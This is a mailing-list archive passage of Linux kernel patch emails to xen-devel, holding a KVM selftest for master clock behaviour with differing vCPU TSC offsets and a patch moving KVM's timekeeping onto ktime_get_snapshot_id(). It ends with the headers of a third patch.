Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=UT5BHKg8LJJXkJ9L6rT/FkqGHMutu473ejAjXRiV+VQ=; b=H4TrcxvR3CuoUgQu3V2enCP8q+
	zNzuQBwhIjoq4RfG6RpXZsG8yQEdvEX168EISUaCpWIVdsr4la+0GZ5r50jbXRXJDph4cIvN7sVlR
	V7Q207OuSmFt6s3zf/Ax+Qp8VPON9zhvExzlUXUfoao2aSZkmsaNLlDkrFo68jeRp9HWXJUGw2iyu
	fcSeJKIFabz8sP4eQBB+Ugb8fzL6izdPUSYKxbJHmH6vOQxr6RZXTP/yozXyZ220BmwyJKYGWP/GW
	uuGukcCV8DZJOo5AYPLjLU72x0Ls1ZdUAgpXilxGqJ6UWdbjlXEVQHpFGtrVmhwSj3hW3W+Td/WJc
	FXZHgOVQ==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 34/36] KVM: selftests: Add master clock offset test
Date: Tue, 28 Jul 2026 15:40:14 +0100
Message-ID: <20260728144954.355376-35-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-33051d/1785250217-758824E9-B17E1691/0/0
X-purgate-type: clean
X-purgate-size: 8060

From: David Woodhouse <dwmw@amazon.co.uk>

Verify that KVM master clock mode remains active when vCPUs have
different TSC offsets but the same frequency. Creates three vCPUs,
sets one to a different TSC value, and confirms:

 - KVM_CLOCK_HOST_TSC is set (master clock active)
 - KVM_CLOCK_TSC_STABLE IS set (master clock â‡’ stable flag)
 - PVCLOCK_TSC_STABLE_BIT is NOT set (offsets differ)

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Assisted-by: Kiro (claude-opus-4.6-1m)
---
 tools/testing/selftests/kvm/Makefile.kvm      |   1 +
 .../kvm/x86/masterclock_offset_test.c         | 180 ++++++++++++++++++
 2 files changed, 181 insertions(+)
 create mode 100644 tools/testing/selftests/kvm/x86/masterclock_offset_test.c

diff --git a/tools/testing/selftests/kvm/Makefile.kvm b/tools/testing/selftests/kvm/Makefile.kvm
index 95539deea266..f6027a35f790 100644
--- a/tools/testing/selftests/kvm/Makefile.kvm
+++ b/tools/testing/selftests/kvm/Makefile.kvm
@@ -108,6 +108,7 @@ TEST_GEN_PROGS_x86 += x86/pmu_event_filter_test
 TEST_GEN_PROGS_x86 += x86/private_mem_conversions_test
 TEST_GEN_PROGS_x86 += x86/private_mem_kvm_exits_test
 TEST_GEN_PROGS_x86 += x86/pvclock_test
+TEST_GEN_PROGS_x86 += x86/masterclock_offset_test
 TEST_GEN_PROGS_x86 += x86/pvclock_migration_test
 TEST_GEN_PROGS_x86 += x86/set_boot_cpu_id
 TEST_GEN_PROGS_x86 += x86/set_sregs_test
diff --git a/tools/testing/selftests/kvm/x86/masterclock_offset_test.c b/tools/testing/selftests/kvm/x86/masterclock_offset_test.c
new file mode 100644
index 000000000000..88e2bd2edab5
--- /dev/null
+++ b/tools/testing/selftests/kvm/x86/masterclock_offset_test.c
@@ -0,0 +1,180 @@
+// SPDX-License-Identifier: GPL-2.0-only
+/*
+ * Test that KVM master clock mode works with different TSC offsets
+ * as long as all vCPUs have the same TSC frequency.
+ */
+#include <stdint.h>
+#include <string.h>
+
+#include "test_util.h"
+#include "kvm_util.h"
+#include "processor.h"
+
+#include <asm/pvclock-abi.h>
+
+#define KVMCLOCK_GPA	0xc0000000ull
+#define TSC_OFFSET	(1000000000ULL)
+
+static uint64_t pvclock_calc(struct pvclock_vcpu_time_info *pvti, uint64_t guest_tsc)
+{
+	uint64_t delta = guest_tsc - pvti->tsc_timestamp;
+
+	if (pvti->tsc_shift >= 0)
+		delta <<= pvti->tsc_shift;
+	else
+		delta >>= -(int)pvti->tsc_shift;
+
+	return pvti->system_time + ((__uint128_t)delta * pvti->tsc_to_system_mul >> 32);
+}
+
+static void guest_code(void)
+{
+	wrmsr(MSR_KVM_SYSTEM_TIME_NEW, KVMCLOCK_GPA | KVM_MSR_ENABLED);
+	for (;;)
+		GUEST_SYNC(0);
+}
+
+int main(void)
+{
+	struct kvm_vcpu *vcpus[3];
+	struct kvm_clock_data clock;
+	struct pvclock_vcpu_time_info pvti[3];
+	struct kvm_vm *vm;
+	uint64_t offset0, host_tsc, clk0, clk2;
+	int i;
+
+	TEST_REQUIRE(sys_clocksource_is_based_on_tsc());
+
+	vm = vm_create_with_vcpus(3, guest_code, vcpus);
+
+	TEST_REQUIRE(!__vcpu_has_device_attr(vcpus[0], KVM_VCPU_TSC_CTRL,
+					     KVM_VCPU_TSC_OFFSET));
+
+	vm_userspace_mem_region_add(vm, VM_MEM_SRC_ANONYMOUS,
+				    KVMCLOCK_GPA, 1,
+				    vm_calc_num_guest_pages(VM_MODE_DEFAULT,
+							   getpagesize()), 0);
+	virt_map(vm, KVMCLOCK_GPA, KVMCLOCK_GPA,
+		 vm_calc_num_guest_pages(VM_MODE_DEFAULT, getpagesize()));
+
+	/* Get vCPU 0's default offset and set vCPU 2's offset higher */
+	vcpu_device_attr_get(vcpus[0], KVM_VCPU_TSC_CTRL,
+			     KVM_VCPU_TSC_OFFSET, &offset0);
+	uint64_t offset2 = offset0 + TSC_OFFSET;
+	vcpu_device_attr_set(vcpus[2], KVM_VCPU_TSC_CTRL,
+			     KVM_VCPU_TSC_OFFSET, &offset2);
+
+	/* Run each vCPU to enable kvmclock (with offset already set) */
+	for (i = 0; i < 3; i++) {
+		vcpu_run(vcpus[i]);
+		TEST_ASSERT_KVM_EXIT_REASON(vcpus[i], KVM_EXIT_IO);
+	}
+
+	/* Check master clock is active */
+	memset(&clock, 0, sizeof(clock));
+	vm_ioctl(vm, KVM_GET_CLOCK, &clock);
+	pr_info("KVM_GET_CLOCK flags: 0x%x\n", clock.flags);
+	TEST_ASSERT(clock.flags & KVM_CLOCK_HOST_TSC,
+		    "Master clock should be active, flags=0x%x", clock.flags);
+	TEST_ASSERT(clock.flags & KVM_CLOCK_TSC_STABLE,
+		    "KVM_CLOCK_TSC_STABLE should be set, flags=0x%x", clock.flags);
+
+	/* Get per-vCPU pvclock in order 0, 2, 1 */
+	int order[] = {0, 2, 1};
+	for (i = 0; i < 3; i++) {
+		int idx = order[i];
+		__vcpu_ioctl(vcpus[idx], KVM_GET_CLOCK_GUEST, &pvti[idx]);
+		pr_info("vCPU %d: tsc_timestamp=%lu system_time=%lu "
+			"mul=%u shift=%d flags=0x%x\n",
+			idx, (unsigned long)pvti[idx].tsc_timestamp,
+			(unsigned long)pvti[idx].system_time,
+			pvti[idx].tsc_to_system_mul, pvti[idx].tsc_shift,
+			pvti[idx].flags);
+	}
+
+	/* Read guest TSCs: should see (0+OFF) < 2 < (1+OFF) */
+	uint64_t gtsc0 = vcpu_get_msr(vcpus[0], MSR_IA32_TSC);
+	uint64_t gtsc2 = vcpu_get_msr(vcpus[2], MSR_IA32_TSC);
+	uint64_t gtsc1 = vcpu_get_msr(vcpus[1], MSR_IA32_TSC);
+	pr_info("Guest TSCs: vcpu0=%lu vcpu2=%lu vcpu1=%lu\n",
+		(unsigned long)gtsc0, (unsigned long)gtsc2, (unsigned long)gtsc1);
+	pr_info("vcpu0+OFF=%lu vcpu1+OFF=%lu\n",
+		(unsigned long)(gtsc0 + TSC_OFFSET),
+		(unsigned long)(gtsc1 + TSC_OFFSET));
+	TEST_ASSERT(gtsc0 + TSC_OFFSET < gtsc2 && gtsc2 < gtsc1 + TSC_OFFSET,
+		    "Expected (vcpu0+OFF) < vcpu2 < (vcpu1+OFF)");
+
+	/* PVCLOCK_TSC_STABLE_BIT should NOT be set (offsets differ) */
+	TEST_ASSERT(!(pvti[2].flags & PVCLOCK_TSC_STABLE_BIT),
+		    "PVCLOCK_TSC_STABLE_BIT should NOT be set, flags=0x%x",
+		    pvti[2].flags);
+
+	/* Same mul/shift */
+	TEST_ASSERT(pvti[0].tsc_to_system_mul == pvti[2].tsc_to_system_mul &&
+		    pvti[0].tsc_shift == pvti[2].tsc_shift,
+		    "All vCPUs should have same mul/shift");
+
+	/*
+	 * Read host TSC once. At this instant:
+	 *   vCPU 0 guest TSC = host_tsc + offset0
+	 *   vCPU 2 guest TSC = host_tsc + offset0 + TSC_OFFSET
+	 * Feed each through its pvclock. Expect the same kvmclock.
+	 */
+	host_tsc = rdtsc();
+	clk0 = pvclock_calc(&pvti[0], host_tsc + offset0);
+	clk2 = pvclock_calc(&pvti[2], host_tsc + offset0 + TSC_OFFSET);
+
+	pr_info("kvmclock via vCPU 0: %lu ns\n", (unsigned long)clk0);
+	pr_info("kvmclock via vCPU 2: %lu ns\n", (unsigned long)clk2);
+	TEST_ASSERT(clk0 == clk2,
+		    "kvmclock from offset vCPUs should match exactly, "
+		    "diff=%ld ns", (long)(clk2 - clk0));
+
+	pr_info("PASSED: pvclock consistent across offset vCPUs\n");
+
+	/*
+	 * Now add an hour to the VM kvmclock via KVM_SET_CLOCK, run each
+	 * vCPU to pick up the update, and check they're still in sync.
+	 */
+	{
+#define ONE_HOUR_NS (3600ULL * NSEC_PER_SEC)
+		struct kvm_clock_data setclk = { .clock = clock.clock + ONE_HOUR_NS };
+
+		vm_ioctl(vm, KVM_SET_CLOCK, &setclk);
+	}
+
+	/* Guest code does GUEST_SYNC then exits â€” run each to see update */
+	for (i = 0; i < 3; i++) {
+		vcpu_run(vcpus[order[i]]);
+		TEST_ASSERT_KVM_EXIT_REASON(vcpus[order[i]], KVM_EXIT_IO);
+	}
+
+	/* Re-read pvclocks */
+	for (i = 0; i < 3; i++)
+		__vcpu_ioctl(vcpus[order[i]], KVM_GET_CLOCK_GUEST, &pvti[order[i]]);
+
+	pr_info("After +1h: vCPU 0 system_time=%lu, vCPU 2 system_time=%lu\n",
+		(unsigned long)pvti[0].system_time,
+		(unsigned long)pvti[2].system_time);
+	TEST_ASSERT(pvti[0].system_time == pvti[2].system_time,
+		    "system_time should still match after KVM_SET_CLOCK");
+
+	host_tsc = rdtsc();
+	clk0 = pvclock_calc(&pvti[0], host_tsc + offset0);
+	clk2 = pvclock_calc(&pvti[2], host_tsc + offset0 + TSC_OFFSET);
+
+	pr_info("After +1h: kvmclock via vCPU 0: %lu ns\n", (unsigned long)clk0);
+	pr_info("After +1h: kvmclock via vCPU 2: %lu ns\n", (unsigned long)clk2);
+	TEST_ASSERT(clk0 == clk2,
+		    "After +1h: kvmclock should still match, diff=%ld ns",
+		    (long)(clk2 - clk0));
+
+	/* Verify the clock actually moved by ~1 hour */
+	TEST_ASSERT(clk0 > ONE_HOUR_NS,
+		    "Clock should be > 1 hour after set, got %lu ns",
+		    (unsigned long)clk0);
+
+	pr_info("PASSED: pvclock still consistent after KVM_SET_CLOCK +1h\n");
+	kvm_vm_free(vm);
+	return 0;
+}
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374516.1621840 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8l-00039x-Fj; Tue, 28 Jul 2026 14:50:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374516.1621840; Tue, 28 Jul 2026 14:50:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8j-00030Y-0M; Tue, 28 Jul 2026 14:50:41 +0000
Received: by outflank-mailman (input) for mailman id 1374516;
 Tue, 28 Jul 2026 14:50:19 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1woj8M-0007BR-P7
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8M-004rRp-4Y; Tue, 28 Jul 2026 16:50:18 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c19f-bab6-0a2a0a5309dd-0a2a4501bf8e-26
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:18 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a9-5984-0a2a45010019-5a9b5cc789ce-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:18 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1woj82-000000052Vf-33ll; Tue, 28 Jul 2026 14:50:10 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj80-00000001UZM-0Tb3;
 Tue, 28 Jul 2026 15:49:56 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=HmQDcPrMuUbc3ClmvuUUxGy09GBwE4OPOFBwulR1T3M=; b=StQPixhW3Ac14OofnOPQbPyiFv
	t/Bh4nReyLX3H8lA1xfAXNSPHmTP87vPQgFtSL2TuWkPDSni//1xUNSaDxyVUGcwnsuOZrybFLHQp
	CAK5qKgmoUyfJJgwnIuWzW7hXm65G7dn2bkFSsTpW0eLPPrqz59K/QLcG5+nrwVUMxs+AZ3SAsAgc
	VGZGhzRvWEMU9jjEo/+2plUiZ+CxAIAA0xO69hzOsdAlrzUBvBjC5dGVidg1pi2O3UM3OqaL1o51f
	qUpK+Sf/E795/0mdAnsWrGBx8JXILdPv5yZtV13A3+SQE3ELIlVQ1aziHVnUBG/eH5FPzwFQW5LNd
	ICDHo9mA==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 24/36] KVM: x86: Use ktime_get_snapshot_id() for master clock
Date: Tue, 28 Jul 2026 15:40:04 +0100
Message-ID: <20260728144954.355376-25-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-d62444/1785250218-1F262757-8FC544B6/0/0
X-purgate-type: clean
X-purgate-size: 3954

From: David Woodhouse <dwmw@amazon.co.uk>

Replace the KVM-private vgettsc()/do_kvmclock_base()/do_monotonic()/
do_realtime() timekeeping reimplementation with calls to the generic
ktime_get_snapshot_id() interface.

The snapshot provides both the system time and the raw_cycles (TSC)
atomically paired. When raw_cycles is zero, the clocksource could not
provide a raw hardware counter value, which is equivalent to the
previous vgettsc() returning VDSO_CLOCKMODE_NONE.

For kvm_get_time_and_clockread(), the kvmclock base time is
CLOCK_MONOTONIC_RAW + offs_boot. The snapshot provides the raw time
atomically paired with the TSC; offs_boot is added separately as it
only changes at suspend/resume boundaries.

This is a step towards eliminating the pvclock_gtod_data private copy
of timekeeping state and the associated notifier callback.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Assisted-by: Kiro:claude-opus-4.6-1m
---
 arch/x86/kvm/x86.c | 53 ++++++++++++++++++++++++++++++++++++----------
 1 file changed, 42 insertions(+), 11 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 3e8cc8daf848..74776dd497f2 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -35,6 +35,7 @@
 #include "smm.h"
 
 #include <linux/clocksource.h>
+#include <linux/timekeeping.h>
 #include <linux/interrupt.h>
 #include <linux/kvm.h>
 #include <linux/fs.h>
@@ -1597,14 +1598,39 @@ static int do_realtime(struct timespec64 *ts, u64 *tsc_timestamp)
  * reports the TSC value from which it do so. Returns true if host is
  * using TSC based clocksource.
  */
+static bool kvm_snapshot_has_tsc(struct system_time_snapshot *snap,
+				u64 *tsc_timestamp)
+{
+	/*
+	 * ktime_get_snapshot_id() cannot fail for standard clock IDs
+	 * (only for invalid/aux clocks or during suspend, with a WARN).
+	 */
+	if (!snap->valid)
+		return false;
+
+	if (snap->cs_id == CSID_X86_TSC) {
+		*tsc_timestamp = snap->cycles;
+		return true;
+	}
+
+	if (snap->hw_csid == CSID_X86_TSC && snap->hw_cycles) {
+		*tsc_timestamp = snap->hw_cycles;
+		return true;
+	}
+
+	return false;
+}
+
 static bool kvm_get_time_and_clockread(s64 *kernel_ns, u64 *tsc_timestamp)
 {
-	/* checked again under seqlock below */
-	if (!gtod_is_based_on_tsc(pvclock_gtod_data.clock.vclock_mode))
+	struct system_time_snapshot snap = {};
+
+	ktime_get_snapshot_id(CLOCK_MONOTONIC_RAW, &snap);
+	if (!kvm_snapshot_has_tsc(&snap, tsc_timestamp))
 		return false;
 
-	return gtod_is_based_on_tsc(do_kvmclock_base(kernel_ns,
-						     tsc_timestamp));
+	*kernel_ns = ktime_to_ns(ktime_mono_to_any(snap.systime, TK_OFFS_BOOT));
+	return true;
 }
 
 /*
@@ -1613,12 +1639,14 @@ static bool kvm_get_time_and_clockread(s64 *kernel_ns, u64 *tsc_timestamp)
  */
 bool kvm_get_monotonic_and_clockread(s64 *kernel_ns, u64 *tsc_timestamp)
 {
-	/* checked again under seqlock below */
-	if (!gtod_is_based_on_tsc(pvclock_gtod_data.clock.vclock_mode))
+	struct system_time_snapshot snap = {};
+
+	ktime_get_snapshot_id(CLOCK_MONOTONIC, &snap);
+	if (!kvm_snapshot_has_tsc(&snap, tsc_timestamp))
 		return false;
 
-	return gtod_is_based_on_tsc(do_monotonic(kernel_ns,
-						 tsc_timestamp));
+	*kernel_ns = ktime_to_ns(snap.systime);
+	return true;
 }
 
 /*
@@ -1631,11 +1659,14 @@ bool kvm_get_monotonic_and_clockread(s64 *kernel_ns, u64 *tsc_timestamp)
 static bool kvm_get_walltime_and_clockread(struct timespec64 *ts,
 					   u64 *tsc_timestamp)
 {
-	/* checked again under seqlock below */
-	if (!gtod_is_based_on_tsc(pvclock_gtod_data.clock.vclock_mode))
+	struct system_time_snapshot snap = {};
+
+	ktime_get_snapshot_id(CLOCK_REALTIME, &snap);
+	if (!kvm_snapshot_has_tsc(&snap, tsc_timestamp))
 		return false;
 
-	return gtod_is_based_on_tsc(do_realtime(ts, tsc_timestamp));
+	*ts = ktime_to_timespec64(snap.systime);
+	return true;
 }
 #endif
 
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:47 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:47 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374517.1621848 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8o-0003jB-Oo; Tue, 28 Jul 2026 14:50:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374517.1621848; Tue, 28 Jul 2026 14:50:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8l-0003WV-Qa; Tue, 28 Jul 2026 14:50:43 +0000
Received: by outflank-mailman (input) for mailman id 1374517;
 Tue, 28 Jul 2026 14:50:19 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1woj8M-0007CY-T3
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:19 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8M-00EhwD-8c; Tue, 28 Jul 2026 16:50:18 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c19e-5cb7-0a2a0a5109dd-0a2a450ae24e-32
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:18 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a9-f2d2-0a2a450a0019-5a9b5cc7e694-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:18 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1woj82-000000052Vi-357s; Tue, 28 Jul 2026 14:50:08 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj80-00000001UZv-2GQT;
 Tue, 28 Jul 2026 15:49:56 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=4BIbeG82qdAqvohhlCNFqmE6jDCukf84DvNniY/APtU=; b=DqEqgy8iALoBMzPRpTqjmyDPZ6
	Zz5FLPA0lmqyBJ/sBjGaXrLzsT58aGfQ0WnCvLJxwdkczu9qtPXddsiFZ/biwwxdunwSJkpvwkp0k
	opLpyyA17vSu4LCTc1GlGD0S04it0mKTfpqyibgVYhzGd/AIlRXMvlMEqG9QDrsT8zzWVb0RVTtTt
	PnZ4XF7UFJosSppzUAIAISRZo6H2a+T1c2cVyCVrW3gEIdV9n7+Q3xnGTHEbARVL8Vsxu0sJf1Hk/
	lKTjDsN8hOmcsJfh0AB7KrS9Xbnx6ABdBrNFEc4WCsxnj7P24jhndqBMpfUJVfb8lgVMqfTHitHUl
	8k7ZYlhg==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 32/36] KVM: x86: Add KVM_VCPU_TSC_SCALE and fix the documentation on TSC migration
Date: Tue, 28 Jul 2026 15:40:12 +0100
Message-ID: <20260728144954.355376-33-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
